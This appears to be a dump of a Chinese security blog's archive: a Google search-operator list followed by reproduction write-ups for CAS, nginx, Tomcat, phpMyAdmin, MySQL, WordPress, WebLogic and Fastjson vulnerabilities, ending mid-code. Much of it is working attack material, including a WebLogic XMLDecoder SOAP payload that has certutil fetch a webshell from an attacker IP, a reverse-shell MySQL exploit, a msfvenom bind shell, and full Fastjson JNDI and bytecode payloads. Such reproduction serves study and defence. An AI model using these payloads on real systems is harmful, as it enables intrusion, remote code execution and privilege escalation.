allintitle:关键词,关键词 （拼接多个关键词）
cache:url （搜索特定页面的快照）
defind:关键词 （搜索关于关键词的定义，不能与其他操作符混用）
filetype:关键词 （搜索所有以关键词为后缀的文件的url） 
ext:关键词 （性质与filetype一致）
info:
    搜索输入URL的摘要信息和其他相关信息，该操作符不能与其他操作符及关键字混用
inurl:关键词 （搜索url中包含关键词的网页）
allinurl:关键词,关键词 （搜索url中包含多个关键词的网页）
site:url （将搜索范围缩小到特定的网站，域或子域）
*（通配符）
-（排除符号）

]]> 安全渗透测试渗透测试 Apereo CAS反序列化漏洞分析 /archives/ab2213f4.html 在项目上遇到CAS，因此对CAS反序列化做一下复现及分析。

CAS漏洞利用

CAS

Apereo CAS是一套开源用来做统一认证服务，其中CAS全称为Central Authentication Service。漏洞点跟Shiro反序列化其实很类似，都是因为其采用了默认编码密钥，导致可以通过反序列化结合Gadget进行利用。

环境搭建

这里直接采用docker-compose进行环境搭建

version: '2'
services:
 web:
   image: vulhub/apereo-cas:4.1.5
   ports:
    - "8081:8080"

通过docker-compose up -d直接一键部署

CAS环境部署

部署完成之后，访问本地8081端口即可

CAS-web-页面

漏洞利用

直接用公开的工具即可

]]> 安全漏洞分析漏洞分析 CVE-2016-1247分析 /archives/eca7756b.html 针对CVE-2016-1247漏洞进行复现、研究分析原理。

前言

Nginx是一个高性能的HTTP和反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。2011年6月1日，nginx 1.0.4发布。 Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，并在一个BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发，其特点是占有内存少，并发能力强。

漏洞简述

Debian、Ubuntu发行版的Nginx在新建日志目录的时，使用了不安全的权限，因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。

漏洞分析

复现过程

查看用户ID

查看Nginx版本dpkg -l | grep -i nginx
nginx version.png
下载poc脚本

wget https://legalhackers.com/exploits/CVE-2016-1247/nginxed-root.sh

修改poc权限,并执行poc

chmod 777 nginxed-root.sh
./nginxed-root.sh /var/log/nginx/error.log

查看现在用户ID
final id.png

POC分析

查看Nginx日志目录权限，发现为www-data，因此该漏洞需要使用www-data用户进行

查看Nginx日志目录下的文件权限，发现为root权限，通过符号链接将替换日志文件实现提权目的

根据POC进行利用分析，在145行使用dlsym获取euid
在147、148行修改/tmp/nginxrootsh文件的所有者和权限
在149行删除/etc/ld.so.preload文件

在154行编译生成的c文件，在其后判断是否编译成功

在162行将/bin/bash拷贝到/tmp/nginxrootsh

在172行删除nginx的错误日志文件并进行符号链接，将/etc/ld.so.preload（目标）软链接到nginx的错误日志（这步骤实现了提权）

在187行将/etc/ld.so.preload内容覆盖为/tmp/privesclib.so（加载/tmp/privesclib.so共享库）

在199行将/etc/ld.so.preload权限设置为755

注意事项

root用户执行logrotate -f /etc/logrotate.d/nginx，未获取到root权限情况下重启nginx服务并删除相关文件。
root command.png

修复建议

升级Nginx版本。

]]> 安全漏洞分析漏洞分析 CVE-2016-1240分析 /archives/29004be5.html 针对Apache Tomcat 8/7/6 (Debian-Based Distros) - Privilege Escalation进行漏洞复现并分析。

漏洞简述

Debian系统的Linux上，使用apt-get安装Tomcat时,deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：/etc/init.d/tomcat* 利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限。只需要将Tomcat的日志文件catalina.out软链接到系统文件，重新打开catalina.out就可获取root权限。

漏洞分析

复现过程

获取POC脚本，运行POC脚本。

./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out

运行之后/var/log/catalina.out的链接已经指向/etc/ld.so.preload。

重启Tomcat服务。

serverce tomcat7 restart

POC分析

POC脚本85行判断用户是否为tomcat用户。

93行判断指定的tomcat日志文件是否存在。

158行删除日志文件并软链接到/etc/ld.so.preload。

168行判断/etc/ld.so.preload文件是否存在。

188行通过判断/tmp/tomcatrootsh文件是否具有rws 权限 root 匹配到返回0。

199行删除/etc/ld.so.preload和/tmp/privesclib.so。

跟踪$BACKDOORPATH变量，在148行$BACKDOORPATH是从$BACKDOORSH复制而来，根据开头变量的定义发现$BACKDOORSH为/bin/bash。

修复建议

升级Tomcat。

]]> 安全漏洞分析漏洞分析 CVE-2016-5734分析 /archives/94f683da.html 针对phpMyAdmin 4.6.2 - Authenticated Remote Code Execution进行漏洞复现并分析。

漏洞简述

phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。在4.6.2版本中preg_replace /触发的callback导致命令执行。

漏洞分析

复现过程

下载POC并执行即可。

漏洞分析

这个漏洞出现在TableSearchController.php中的getRegexReplaceRows函数。
跟进/libraries/controllers/table/TableSearchController.php，第708行定义getRegexReplaceRows函数，在第731行处$find存在任意一个范围符号的时候,在$find前面加上/。

在661行getReplacePreview函数调用了getRegexReplaceRows。

在613行findAction函数调用了getReplacePreview。

在175行indexAction函数调用了findAction，当searchType为replace调用findAction。

在/tbl_find_replace.php第33行调用indexAction。

根据以上可得知，调用getRegexReplaceRows函数的流程为：

/tbl_find_replace.ph →
/libraries/controllers/table/TableSearchController.php indexAction() →
/libraries/controllers/table/TableSearchController.php findAction() →
/libraries/controllers/table/TableSearchController.php getReplacePreview() →
/libraries/controllers/table/TableSearchController.php _getRegexReplaceRows()

当row[0]成功匹配$find即可执行命令，在716，717行存在db、table两个成员。

在/libraries/controllers/TableController.php第20、25行分别定义了$db、$table。

回溯Controller类，跟进/libraries/di/Container.php，在51行定义get函数。

当$find构造为0/e0，preg_replace将$find变成/0/e0/，在php5.5以下发生截断，变成preg_replace(/0/e, command,0/e)。由此代码执行产生。

修复建议

升级phpMyAdmin。

]]> 安全漏洞分析漏洞分析 CVE-2016-6662分析 /archives/438a17c4.html 针对MySQL Code Execution Privilege Escalation进行漏洞复现并分析。

漏洞简述

在MySQL / MariaDB / PerconaDB 5.5.52 / 5.6.33 / 5.7.15等版本中，默认安装MySQL使用自带mysqld_safe脚本启动mysql服务进程，在启动mysql server之前预加载共享库文件，共享库文件可被添加至my.cnf。

漏洞分析

复现过程

下载cve-2016-6662_MySQL_RCE_exploit.py和mysql_hookandroot_lib.c，并放同一目录下（.so文件运行py时会自动生成）。

修改mysql_hookandroot_lib.c第63行（攻击服务器IP）、64行（监听端口）、65行（my.cnf路径）。

运行py脚本。

python cve-2016-6662_MySQL_RCE_exploit.py -dbuser root -dbpass '' -dbname pocdb -dbhost 127.0.0.1 -mycnf /etc/mysql/my.cnf

这时候，查看/etc/mysql/my.cnf文件，发现共享库已经成功添加。

重启mysql服务，成功反弹shell。

原理分析

默认安装MySQL会自带mysql_safe脚本，启动MySQL之前加载共享库，共享库可以添加至my.cnf。
跟进/usr/bin/mysqld_safe，在第331行看到–malloc-lib=LIB 选项可以加载一个so文件。
safe mysql.png
在424行，可以看到mysqld_safe从mysql的data目录下载入配置文件my.cnf。
my.cnf.png
使用ps aux | grep mysql，查看MySQL的进程信息，发现mysqld_safe是root权限执行的，mysqld是mysql用户执行的。
ps aux.png
在my.cnf中写入malloc_lib加载so文件的路径。

使用gcc命令将.c（shell）编译成so，并将so放置到/var/lib/mysql/目录下。

配置文件和so文件冲准备就绪，重启MySQL，root运行mysqld_safe，mysqld_safe加载so文件，则触发代码执行。

复现注意事项

/etc/mysql/my.cnf权限设置：

chown mysql:root /etc/mysql/my.cnf
chmod 600 /etc/mysql/my.cnf

攻击会在攻击database新建一个表，表名为:poctable，如果攻击失败，重新攻击需将poctable删除。
mysql -uroot -p；
use pocdb;（攻击database的数据库名字）
drop table poctable;
py脚本会自动运行nc，因此攻击服务器需要安装nc。

如果攻击端口不为3306，可以在cve-2016-6662_MySQL_RCE_exploit.py第74行增加自定义端口代码。增加完成之后，即可使用-dbport自定义端口。在第83行，增加代码将其使用。

parser.add_argument('-dbport', dest='TARGET_PORT', required=True, help='MySQL port') # 74行
dbconn = mysql.connector.connect(user=args.TARGET_USER, password =args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST, port=args.TARGET_PORT) # 83行

修复建议

升级MySQL。

]]> 安全漏洞分析漏洞分析 CVE-2016-6663分析 /archives/e5fd1c70.html 针对MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞进行复现并分析。

漏洞简述

存在条件竞争漏洞，导致本地用户使用低权限帐号提升到数据库系统用户。

漏洞分析

复现过程

查看数据库版本:mysql -V。

建立低权限数据库用户，并新建库。

下载CVE-2016-6663 POC，并编译。
download poc.png
查看当前用户id.
user id.png
运行CVE-2016-6663 POC。
run poc.png
下载CVE-2016-6664 POC 并更改权限。
run 2.png
运行CVE-2016-6664 POC。

原理分析

MySQL数据库可以通过data directory指定存储目录，并将目录权限更改为mysql。

复现注意事项

缺少mysql.h，安装libmysqlclient-dev。

修复建议

升级MySQL；
在my.cnf中添加：symbolic-links = 0。

]]> 安全漏洞分析漏洞分析 CVE-2016-8735分析 /archives/c77f03de.html 针对CVE-2016-8735复现并分析。

漏洞简述

Tomcat启动JmxRemoteLifecycleListener监听器，在/conf/server.xml中添加Tomcat默认未开启JmxRemoteLifecycleListener监听器。在实际环境中，使用zabbix（是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案）通过JMX监控tomcat即会产生该漏洞环境。

漏洞分析

复现过程

java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 calc.exe

POC分析

根据攻击命令发现攻击函数为RMIRegistryExploit在ysoserial-0.0.5-SNAPSHOT-all.jar包中的ysoserial.exploit中。通过解压缩软件将RMIRegistryExploit从ysoserial-0.0.5-SNAPSHOT-all.jar解压出来。由于解压出来为class，对其进行反编译。

第13行定义了RMIRegistryExploit类，第20行需传递一个数组，21行抛出Exception异常类型。

第23行-25行定义了host为数组的第一位数值，port（int）为数组的第二位数值（通过Integer.parseInt将整形对象转换成int型），command为数组的第三位数值。

在26行使用java.rmi.registry.LocateRegistry中的LocateRegistry.getRegistry方法来返回对Registry对象的引用。
在27行定义一个string 名字为className，通过StringBuilder创建一个新实例（结合后面代码中的append可发现用于快速进行字符相加），并获取CommonsCollections1的包的名字，最后把待执行的命令加上包的名字整体作为string赋值给className。28行获得该类(className)并初始化该类。

第29行执行exploit.warp，传递三个参数；第35行使用ExecCheckingSecurityManager的wrap并传一个对象，该对象包含三个参数（payloadClass、command、registry），跟踪ExecCheckingSecurityManager（ysoserial.secmgr.ExecCheckingSecurityManager）查看warp的作用（用于并发）。

倒回去看RMIRegistryExploit.java，className来源于CommonsCollections1，跟踪CommonsCollections1类（ysoserial.payloads. CommonsCollections1），该类继承了PayloadRunner。

跟踪PayloadRunner（ysoserial.payloads.util. PayloadRunner）的run方法，在第22行发现该方法将传进来的args、clazz并发设为新对象并转换成byte。

第29行使用Deserializer.deserialize将serialized反序列化赋值为对象obj。

倒回去看CommonsCollections1，第41行到53行，用Transformer创建了transformers数组，数组中按顺序包含了ConstantTransformer、InvokerTransformer、InvokerTransformer、InvokerTransformer、ConstantTransformer对象。

ConstantTransformer获取其构造函数中传入的类；InvokerTransformer执行其构造函数中传入的方法。
跟踪transformers，第58行使用Reflections.setFieldValue();方法：利用反射机制，将transformerChain对象的iTransformers属性赋值为transformers。

修复建议

升级Tomcat
改变JMX密码认证

]]> 安全漏洞分析漏洞分析 CVE-2020-0796复现 /archives/852991fb.html 看到GitHub上面有对应的exp，就复现看看。

复现

靶机地址

ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/

使用msf生成对应payload

sfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

使用python3运行脚本即可。

msf配置

]]> 安全漏洞分析漏洞分析 CVE-2017-5487分析 /archives/5a5cf5bb.html 针对Content Injection Vulnerability in WordPress进行复现并分析。

漏洞简述

由于WordPress4.7.0-4.7.1REST API接口权限判断不合理导致命令注入。

漏洞分析

复现过程

下载POC脚本，运行即可。

原理分析

查看/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php的第90行，发现参数ID的值会被过滤成数字。发现REST API在管理访问时，其会在正则表达式之前优先考虑$_GET和$_POST的值。例如: /wp-json/wp/v2/posts/1234?id=12345helloworld，REST API会将其ID参数设置成12345helloworld。
在99行使用了update_item和update_item_permissions_check。

查看593行的update_item_permissions_check函数，其将ID值传递给get_post()函数。这个函数功能用来检查帖子是否存在、是否有权限。如果发送的ID没有对应的post，就可以绕过权限检查，并允许继续执行update_item方法。

由于使用get_instance()静态方法来获取post，造成get_post()在特定情况下无法找到对应的ID。
查看/wordpress/wp-includes/class-wp-post.php第210行，发现需全部使用数字，例如123ABC将会导致获取post失败。有一个细节，其会将ID参数在传递给get_post之前会将其转换成整数。

PHP语言中做类型的比较和转换时，其会返回整数。例如

例如提交一个请求为/wp-json/wp/v2/posts/123?id=456ABC，PHP会将其ID返回456。由于456ABC并不是纯数字会导致/wordpress/wp-includes/class-wp-post.php获取post_id失败。在流程进入权限检查时update_item_permissions_check判断其没有对应的post绕过权限判断，进行更新操作update_item。最终导致ID为456被修改。
在受影响的WordPress版本中REST API接口是默认开放的。任何用户都可以利用该漏洞修改任意文章，只需要指定修改文章的ID即可。
修改前：

修改后：

复现注意事项

在复现时如果遇到id is not of type integer报错信息，有可能是因为版本不对。最新版本的4.7.2已经对该漏洞进行修复。

修复建议

升级WordPress至4.7.2及以上。

]]> 安全漏洞分析漏洞分析 weblogic wls9-async rce复现&分析 /archives/94f70d04.html 针对Weblogic wls9-async反序列化进行漏洞环境搭建及复现。

webshell

环境搭建

服务器需要安装jdk,这里采用1.7版本。

在Oracle官网下载对应版本,这里使用的12.1.3(10.x版本也可以的)。

下载完成之后，通过java -jar fmw_12.1.3.0.0_wls.jar启动安装程序，默认安装即可。安装完成之后启动weblogic。

通过浏览器访问查看服务是否启动。

漏洞复现

在攻击机上通过python启动一个web服务，该目录下放一个webshell。

python -m SimpleHTTPServer 80 # python2
python3 -m http.server # python3

由于是soap，先访问一下http://ip:port/_async/AsyncResponseService?WSDL ，看下格式结构。

通过SOAP-UI进行请求构建，新建一个soap，在Initial WSDL输入刚刚的url。

新建一个request请求。

将下列代码贴进请求包中，需要注意的是string标签下面的ip、port、webshell.txt这些需要按照自己的环境进行修改。我的攻击机ip为192.168.100.5 port为80 webshell.txt为cmd.txt。

上传的路径：

12版本servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war/

10版本servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
	<soapenv:Header> 
		<wsa:Action>xx</wsa:Action>
		<wsa:RelatesTo>xx</wsa:RelatesTo>
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		<void class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="3">
		<void index="0">
		<string>cmd</string>
		</void>
		<void index="1">
		<string>/c</string>
		</void>
		<void index="2">
		<string>certutil -urlcache -split -f http://192.168.100.5/cmd.txt servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war/cmd.jsp</string>
		</void>
		</array>
		<void method="start"/></void>
		</work:WorkContext>
		</soapenv:Header>
		<soapenv:Body>
		<asy:onAsyncDelivery/>
	</soapenv:Body>
</soapenv:Envelope>

点击request窗口的发送请求按钮，可以看到攻击机上的python web服务有访问请求，说明文件已经成功上传到服务器上。

通过蚁剑或菜刀连接即可。

webshell

原理分析

使用JD-GUI打开对应War包。

Weblogic9:
/%WLS_HOME%/weblogic92/server/lib/bea_wls9_async_response.war

Weblogic 10:
/%WLS_HOME%/wlserver_10.3/server/lib/bea_wls9_async_response.war

Weblogic12:
/%WLS_HOME%/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

在web.xml里面可以看到基本都是指向weblogic.wsee.async.AsyncResponseBean

跟进weblogic.wsee.async.AsyncResponseBean，可以得知有两个函数handleResult、handleFault。查看oracle官方对AsyncResponseBean类的描述，查看Method Detail,可以得知handleResult是当异步响应服务收到对请求正常时调用，handleFault是异常时调用。

根据官方文档可以得知AsyncResponseBean继承AbstractAsyncResponseBean类(%WLS_HOME%/server/lib/weblogic.jar)。在weblogic.wsee.async找到该类。

由于不了解weblogic逻辑处理流程，根据查阅的资料所得：该处会与AddressingHandler、AsyncResponseHandler、WorkAreaHandler有关。

其中WorkAreaHandler被WorkAreaServerHandler和WorkAreaClientHandler继承，而WorkAreaServerHandler的27行处localWorkContextMapInterceptor.receiveRequest(**new** WorkContextXmlInputAdapter(localWorkAreaHeader.getInputStream()));可以看到接受请求用到了WorkContextXmlInputAdapter。

跟进该类可以发现该类imoprt了XMLDecoder，而且并没有做过滤。XMLDecoder是用来将XML文件反序列化成java对象。

修复建议

1.删除对应war包；

2.禁用bea_wls9_async_response组件。

总结

这次分析还有存在疑难点：weblogic整体的逻辑处理流程是如何，这个需要后续是多了解。

]]> 安全漏洞分析漏洞分析 Fastjson漏洞复现 /archives/87c00e88.html 前些日子遇到了Fastjson1.2.35，该版本存在反序列化漏洞。但由于服务器不出网，只能验证dnslog。通过网上搜索发现bytecode的方式，但是payload无法成功将命令执行从异常带回来。因此，尝试自己复现了解一下是何情况。

fastjson-error

环境搭建

通过idea生成Maven项目，并将对应版本的fastjson添加至pom.xml中。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>groupId</groupId>
    <artifactId>FastjsonTest</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.35</version>
        </dependency>
    </dependencies>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
        <java.version>1.8</java.version>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>
</project>

右键pom.xml文件，选择【Maven】-【下载源和文档】即可成功搭建成功。

fastjson-pom-maven

漏洞复现

主要是从dnslog、JNDI、bytecode等方式进行复现利用。可通过{"a":"进行验证是否是fastjson。如果异常报错被自定义，那么就盲打吧。

fastjson-verify

DNSLOG

在【src】-【main】-【java】文件夹下新建一个poc类，代码如下：

import com.alibaba.fastjson.JSON;

public class poc {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"dnslog\"}";
        try {
            JSON.parse(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这时候dns服务器已经成功收到了dns请求。下面是几个常见的dnslog请求的poc。

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

JNDI

如果服务器出网，可使用JNDI的方式进行反弹等操作，这里我使用JNDIExploit这个工具。由于不知为何通过Basic的方式无法成功执行命令。所以，本地环境采用了tomcat、fastjson.war进行部署。通过java -jar JNDIExploit.jar -i 0.0.0.0 -p 8009启动服务之后，对漏洞环境直接发起对应请求即可。Ps：下面那段是Base64命令为open /System/Applications/Calculator.app。

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==", 
        "autoCommit": true
    }
}

但由于许多大型企业、金融等服务器基本不出网，所以这种利用方式也比较困难。

ByteCode

经常会遇到无法出网的机器，这时候无法通过JNDI来进行反弹等操作。可尝试通过ByteCode的方式进行命令执行，将执行的结果带入到异常中，将异常抛出即可。但这种方法有一个前提：json解析的时候需要设置Feature.SupportNonPublicField，jSON.parse(payload, Feature.SupportNonPublicField);。由于这个前提的存在，基本不太可能能在实战环境成功遇到。

命令执行

ByteCode生成

新建test类，代码如下：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class test extends AbstractTranslet {
    public test() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        test t = new test();
    }
}

通过javac test.java生成test.class文件，然后通过python将test.class内容进行Base64编码。

import base64

fin = open(r"test.class", "rb")
fout = open(r"test.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
print(s)
fout.write(s)
fin.close()
fout.close()

POC利用

修改poc类，其中的_bytecodes为test.txt文件内容。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;


public class poc {
    public static void main(String[] args) {
        String payload = "{\n" +
                "\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
                "\"_bytecodes\": [\n" +
"\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg==\"\n" +
                "],\n" +
                "\"_name\": \"a\",\n" +
                "\"_tfactory\": {},\n" +
                "\"_outputProperties\": {},\n" +
                "\"_version\": \"1.0\",\n" +
                "\"allowedProtocols\": \"all\"\n" +
                "}";

        try {
            JSON.parse(payload, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

POC示例

{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg=="
],
"_name": "a",
"_tfactory": {},
"_outputProperties": {},
"_version": "1.0",
"allowedProtocols": "all"
}

命令回显

通过将命令执行的结果传入到异常，最后抛出该异常，即可成功实现命令回显。

ByteCode生成

新建testEx类，代码如下：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedInputStream;
import java.io.IOException;

public class testEx extends AbstractTranslet {
    private static final String ex = "";
    static {
        try {
            String ex = exec("whoami");
            throw new Exception(ex);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String exec(String cmd) throws Exception {
        try {
            String s = "";
            int len;
            int bufSize = 4096;
            byte[] buffer = new byte[bufSize];
            BufferedInputStream bis = new BufferedInputStream(Runtime.getRuntime()
                    .exec(cmd)
                    .getInputStream(),
                    bufSize);

            while ((len = bis.read(buffer, 0, bufSize)) != -1)
                s += new String(buffer, 0, len);
            bis.close();
            return s;
        } catch (Exception e) {
            return e.getMessage();
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        testEx t = new testEx();
    }
}

通过javac testEx.java生成testEx.class文件，然后通过python将testEx.class内容进行Base64编码。

POC利用

只需要将_bytecodes数据进行替换即可。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;


public class poc {
    public static void main(String[] args) {
        String payload = "{\n" +
                "\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
                "\"_bytecodes\": [\n" +
